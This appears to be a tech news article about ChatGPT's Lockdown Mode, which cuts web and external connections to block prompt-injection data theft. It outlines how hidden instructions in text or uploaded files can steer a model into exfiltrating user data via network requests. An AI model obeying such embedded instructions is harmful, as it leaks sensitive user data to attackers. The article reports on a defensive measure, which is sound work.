ChatGPT's new Lockdown Mode lets you disable web access and more to protect sensitive data from prompt injection

Key Points

OpenAI has released a new "Lockdown Mode" for ChatGPT that disables functions such as web access, deep research, and agent mode to protect users from potential data theft.

The feature blocks all connections to the internet and external services, preventing sensitive data from being leaked during conversations with the AI.

Users can activate Lockdown Mode in the security settings and temporarily disable it for individual conversations when broader functionality is needed.

With the new Lockdown Mode, ChatGPT users can disable web access, Deep Research, and Agent Mode to better protect themselves against data theft through prompt injection attacks. The feature is aimed primarily at users handling sensitive data.

Lockdown Mode restricts all features that connect ChatGPT to the internet or external services. The goal is to prevent attackers from using prompt injections, hidden instructions embedded in text or files, to manipulate the model's behavior and exfiltrate sensitive user data. OpenAI says the feature is designed for individuals and organizations working with particularly sensitive data.

Live web search gets limited to cached content, which means search results may be outdated or unavailable entirely. Deep Research and Agent Mode are fully disabled. ChatGPT can no longer download files and won't display web images in regular responses. Network access for Canvas-generated code is blocked too.

Prompt injection remains an unsolved problem

OpenAI calls prompt injection a "frontier, challenging research problem" it's working to solve. That's true, but only part of the story: prompt injections have been a well-known LLM vulnerability since at least GPT-3, frequently exploited, and years of research still haven't produced a fix.

Lockdown Mode confirms that status quo: it's a band-aid, not a fix for prompt injections. It builds on existing defenses, including sandboxing, URL-based exfiltration protection, monitoring, and access controls. But a manipulative instruction hidden in an uploaded file can still influence the model's behavior and lead to wrong answers, OpenAI says. The mode only blocks the final step in an exfiltration chain, the attempt to send data to an attacker via network requests.